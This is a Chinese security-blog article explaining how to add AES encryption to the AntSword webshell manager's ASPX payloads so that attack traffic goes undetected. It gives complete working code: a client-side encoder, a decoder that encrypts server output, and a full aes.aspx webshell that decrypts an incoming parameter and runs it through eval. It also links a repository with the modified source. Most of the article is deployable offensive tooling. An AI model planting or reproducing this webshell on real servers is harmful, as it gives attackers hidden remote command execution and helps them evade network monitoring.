蚁剑增强之AES加密的ASPX Webshell

阅读量276698

|评论1

|

发布时间 : 2021-06-24 14:30:06

 

0x00 前言

蚁剑优美的客户端界面一直非常吸引人,以至于总可以把它的一些缺点忽略。但发展到2021年了,人们对流量隐私有了更高的要求,包括黑客们。看着蚁剑的对手:冰蝎、哥斯拉都拥有了加密的通信流量,而蚁剑迟迟未出。

作为蚁剑的爱好者,怎么能看着它落后呢。于是乎,今天我们就来给蚁剑ASPX/ASPX类型的Webshell套上加密。为什么单单是ASPX/ASP呢?因为JSP类型的有 yzddmr6 师傅修改了,而PHP的后面再说。

 

0x01 分析

修改之前,我们可以先看看冰蝎对加密ASPX的实现,冰蝎ASPX的实现和JSP的实现很相似,都是通过加载编译好的字节码,创建对象实例,然后调用equals方法,传入context上下文。这种方法非常好,避免了ASPX利用常规的eval进行命令执行。

前面我们说到,yzddmr6 师傅通过参考冰蝎JSP的实现,成功的用加载字节码的方式,为蚁剑实现了一句话,虽然还缺少加密这个选项,但已经成功踏出一大步。观察蚁剑的编码器文件夹:source/core,我们可以发现,一开始是没有JSP目录的,所以我们可以自定义下列文件的内容,而不会影响已经存在的的编码器:

蚁剑aspx编码器目录

base.js

但是当我们打开ASPX文件夹时,发现已经存在一些编码器,这样就导致了一个问题:我们如果按照冰蝎的做法,加载字节码,就会修改template目录下的payload,势必会导致其他的编码器不兼容,而且可能会影响到已经存在的插件。所以我们还剩两种方法:

  1. 直接造一个ASPX_AES目录,如同JSP一般,但是这样会大范围修改源码,不符合我们简洁的宗旨
  2. 就在原来ASPX目录上修改,但不影响其他编码器和解码器,注意这的解码器是坑点所在

 

0x02 AES加密的编码器实现

在crypto-js库的帮助下,我们很快就实现AES_CBC_128_ZeroPadding加密的编码器

第一步:编写编码器

aspx_aes_128_cbc_en.js:

'use strict';

const path = require('path');

var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));

function randomRange(min, max){
    var returnStr = "",
        range = (max ? Math.round(Math.random() * (max-min)) + min : min),
        charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    for(var i=0; i<range; i++){
        var index = Math.round(Math.random() * (charStr.length-1));
        returnStr += charStr.substring(index,index+1);
    }
    return returnStr;
}

// AES return base64 type of encodedtext
function encryptTextByAes(keyStr, text){
  let encodedtext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    iv: CryptoJS.enc.Utf8.parse(keyStr),
    mode: CryptoJS.mode.CBC,
    padding: CryptoJS.pad.ZeroPadding,
  }).toString()
  return encodedtext;

}


module.exports = (pwd, data, ext={}) => {
  let min = 16;
  let max = 16;
  let aesKey = randomRange(min, max);
  data[pwd] = Buffer.from(aesKey).toString("base64") + encryptTextByAes(aesKey, data['_']);

  delete data['_'];

  return data;
}

第二步:编写服务端脚本

对应的aes.aspx:

<%@ Page Language="Jscript"%>
<% 
    var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
    var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");
    var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
    var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
    aes.Padding = 3;
    aes.KeySize = 128;
    function B64Decode(b64Str){
        var bytes = utf8.GetBytes(b64Str);
        var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);
        return decoded_bytes;
    }
    function Decrypt(cipherText, aesKey){
        var aesKeyBytes = utf8.GetBytes(aesKey);
        aes.IV = aesKeyBytes;
        var cipherBytes = B64Decode(cipherText);
        var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));
        var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);
        var res = utf8.GetString(plainBytes);
        return res;
    }
    var data = Request.Item["ant"];
    var aesKey = data.substring(0,24);
    aesKey = utf8.GetString(B64Decode(aesKey));
    var encrypt_res = data.substring(24);
    var decrypted = Decrypt(encrypt_res, aesKey);
    eval(decrypted,"unsafe");
%>

第三步选择aes编码器:

4

第四步挂上burp:

6

加密效果很不错,就是有两个瑕疵:

  1. 不是所有的参数都加密了,比如上图中左边这个怪米日眼的参数
  2. 返回内容没加密啊,这不把腚漏出来了吗?

 

0x03 解码器实现

带着0x02留下的两个鬼一样的问题,我们先看看PHP的base64解码器实现source/core/php/decoder/base64.js

7

这个asoutput函数好像可以拿来用用,我们可以看看其被调用的地方source/core/php/index.js

8

噢噢,asoutput的代码会被拼接到payload,供服务端执行完后输出的编码,至此,好像解决了问题2?

不,他X的PHP有可以获取缓冲区内容的ob_xxx函数,但是ASPX/ASP呢?就他X的一个拦都拦不住的:Response.Write()????

ASPX太气人了,看看原来的解码器有没有什么办法source/core/aspx/decoder/default.js

9

好家伙,我直接好家伙!直接asoutput返回空。没办法,为了实现把腚遮住的理想,我们继续看看template目录下payload是如何输出结果的:

10

多次利用Response.Write()进行输出,既然是多次输出,那我将所有的输出都放在一个变量里面,然后将变量通过加密函数进行加密,最后再调用Response.Write(),好像就可以了!

第一步:

添加解码器aspx_aes_128_cbc_de.js

'use strict';


const path = require('path');

var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));


function decryptText(keyStr, text) {
  let decodedtext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    iv: CryptoJS.enc.Utf8.parse(keyStr),
    mode: CryptoJS.mode.CBC,
    padding: CryptoJS.pad.ZeroPadding
  }).toString(CryptoJS.enc.Utf8);
  return decodedtext;
}

module.exports = {
  asoutput: () => {
    return `
        function B64Encode(bytes){
            return System.Convert.ToBase64String(bytes);
        }
        function Encrypt(plaintext, aesKey){
            var aesKeyBytes = utf8.GetBytes(aesKey);
            var aesEnc = aes.CreateEncryptor(aesKeyBytes, aes.IV);
            var plainBytes = utf8.GetBytes(plaintext);
            var cipherBytes = aesEnc.TransformFinalBlock(plainBytes, 0, plainBytes.length);
            var res = B64Encode(cipherBytes);
            return res;
        }
        function asenc(opcode){
            var ak = aesKey;
            return ak + Encrypt(opcode, ak);
        }
    `.replace(/\n\s+/g, '');
  },

  decode_buff: (data, ext={}) => {
    data = data.toString();
    try{
      let aesKey = data.substring(0, 16);
      return Buffer.from(decryptText(aesKey, data.substring(16)));
    }
    catch(e){
      return data;
    }
  }
}

第二步:

修改source/core/aspx/index.js

11

第三步:

修改template目录下的payload,顺便把多余的参数放在payload里面:

12

15

16

第四步:

打开burp看一下:

17

舒服!!!

18

但这里要吐槽一下:JS库fake-user-agent的User-Agent太老了,很容易别识别,比如上图中的:Chrome/41

最后ASPX的源码,直接替换ASPX文件夹就可以:https://github.com/youncyb/AS_ASPX_AES_ENCODE

本文由Lotso原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/244810

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
Lotso
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66